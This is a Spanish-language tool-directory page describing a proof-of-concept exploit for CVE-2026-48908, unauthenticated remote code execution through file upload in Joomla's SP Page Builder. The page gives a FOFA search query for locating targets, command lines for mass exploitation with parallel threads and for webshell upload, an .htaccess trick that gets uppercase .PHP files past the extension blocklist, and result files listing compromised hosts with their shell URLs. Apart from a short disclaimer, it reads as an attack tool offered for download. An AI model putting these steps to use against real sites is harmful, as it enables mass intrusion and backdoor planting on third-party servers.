Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-48908 — PoC de RCE no autenticado para CVE-2026-48908: exploit de carga de archivos arbitraria y ejecución remota de código en SP Page Builder (Joomla) con soporte para escaneo masivo. | Kitploit
Herramientas/GitHubGitHub/ayiezola/cve-2026-48908
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónDesarrollo de Payloads
GitHubayiezola/cve-2026-48908

CVE-2026-48908

PoC de RCE no autenticado para CVE-2026-48908: exploit de carga de archivos arbitraria y ejecución remota de código en SP Page Builder (Joomla) con soporte para escaneo masivo.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-48908 — SP Page Builder RCE no autenticado

SP Page Builder (com_sppagebuilder) para Joomla ≤ 6.6.1 permite a atacantes no autenticados subir archivos arbitrarios y lograr Ejecución Remota de Código.

CampoValor
CVECVE-2026-48908
CWECWE-284 (Control de Acceso Inadecuado)
ComponenteSP Page Builder (com_sppagebuilder)
Afectado1.0.0 – 6.6.1
Corregido en6.6.2
PrivilegiosNinguno (pre-autenticación)
Interacción del usuarioNinguna

Consulta FOFA

root@kitploit:~
body="com_sppagebuilder"

Uso

Requisitos

  • Python 3.8+
root@kitploit:~
pip install -r requirements.txt

Host individual

root@kitploit:~
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # solo sondear, sin comando
python3 exploit_poc.py https://target.example --token abc123   # token personalizado

Escaneo masivo

root@kitploit:~
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 hilos paralelos
python3 exploit_poc.py --hosts ips.txt --no-verbose             # modo silencioso

Webshell personalizada

root@kitploit:~
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Nota: Al usar --shell-file, el script solo sube la webshell e informa la URL. No ejecuta el comando -c ni realiza ninguna prueba de ejecución. La shell subida debe manejar la entrada de comandos de forma independiente.

Opciones

Demo

Host individual

Escaneo masivo

Escaneo masivo 1

Escaneo masivo 2

Salida

Después de un escaneo, se guardan tres archivos de resultados:

Cómo funciona

El exploit abusa de la tarea asset.uploadCustomIcon de com_sppagebuilder:

  1. Hace POST de un ZIP manipulado (paquete de fuentes de iconos) sin autenticación — no se requiere token CSRF.
  2. SPPB extrae el ZIP en /media/com_sppagebuilder/assets/iconfont/<nombre>/fonts/.
  3. El archivo PHP subido se sirve públicamente.

El script prueba múltiples extensiones PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) hasta encontrar una que se ejecute.

Bypass de htaccess

Cuando las extensiones PHP directas están bloqueadas por el filtro de SPPB, el script coloca un archivo .htaccess junto al payload:

root@kitploit:~
AddType application/x-httpd-php .PHP

Esto obliga al servidor web a tratar .PHP (mayúsculas) como PHP — omitiendo la lista de bloqueo sensible a mayúsculas de SPPB. Requiere que AllowOverride esté habilitado y que la ejecución de PHP esté permitida en /media.

Nota: El bypass de .htaccess + .PHP en mayúsculas puede no funcionar en todas las configuraciones. Si falla, intente usar extensiones .png o .jpeg. En servidores con AllowOverride deshabilitado o ejecución de PHP bloqueada en /media, incluso las shells subidas no se ejecutarán (se reporta como "solo escritura").

Modificaciones

Este PoC está basado en https://github.com/papageo75/CVE-2026-48908-PoC/ con las siguientes adiciones:

1. Manejo de respuestas no JSON

Algunas respuestas del servidor pueden contener prefijos no JSON (por ejemplo, expresiones cron u otra basura) antes de la carga útil JSON real. El PoC original fallaba en r.json() al analizar dichas respuestas. Esta versión busca el primer carácter { e intenta decodificar la subcadena JSON:

Antes:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    return None

Después:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Ejemplo — respuesta JSON válida:

root@kitploit:~
{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Ejemplo — respuesta no JSON (basura de prefijo antes del JSON):

root@kitploit:~
cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Soporte para escaneo masivo

Se agregó capacidad de escaneo masivo multihilo:

  • --hosts <archivo> — cargar objetivos desde un archivo (uno por línea)
  • -j, --threads <n> — establecer número de hilos paralelos (por defecto: 10)
  • --no-verbose — suprimir salida detallada por host
  • Resultados agrupados y guardados en archivos .txt categorizados

3. Subida de webshell personalizada

Se agregó la opción --shell-file <ruta> para subir una webshell PHP personalizada en lugar de la shell protegida por token incorporada. Al usar esta opción:

  • El script sube la shell sin ejecutar comandos -c
  • No se realiza ninguna prueba de ejecución (run())
  • Se prueban e informan todas las extensiones que funcionan
  • Los resultados se guardan en custom_shell_hosts.txt

Descargo de responsabilidad

SOLO PARA USO AUTORIZADO. Únicamente para pruebas de penetración autorizadas, CTF y objetivos de laboratorio. Usted es el único responsable de cómo utiliza esta herramienta.

Descargar herramienta
FlagDescripción
urlURL objetivo (posicional o --url)
--hosts <file>Archivo con un host por línea
-c, --cmd <cmd>Comando a ejecutar (por defecto: id)
--checkSolo sondear, no ejecutar un comando
--token <token>Secreto que protege la shell subida (por defecto: aleatorio)
--shell-file <path>Subir una webshell PHP personalizada en lugar de la incorporada
-j, --threads <n>Hilos paralelos para escaneo masivo (por defecto: 10)
--no-verboseSuprimir salida detallada por host
ArchivoContenido
vulnerable_hosts.txtHosts con RCE confirmado + URLs de webshell
not_vulnerable_hosts.txtHosts que están parcheados o ausentes
partial_vulnerable_hosts.txtHosts con escritura de archivos pero sin ejecución PHP
custom_shell_hosts.txtHosts con shell personalizada subida, agrupados por URL base (solo se genera al usar --shell-file)
scan_results.jsonResultados JSON completos para todos los hosts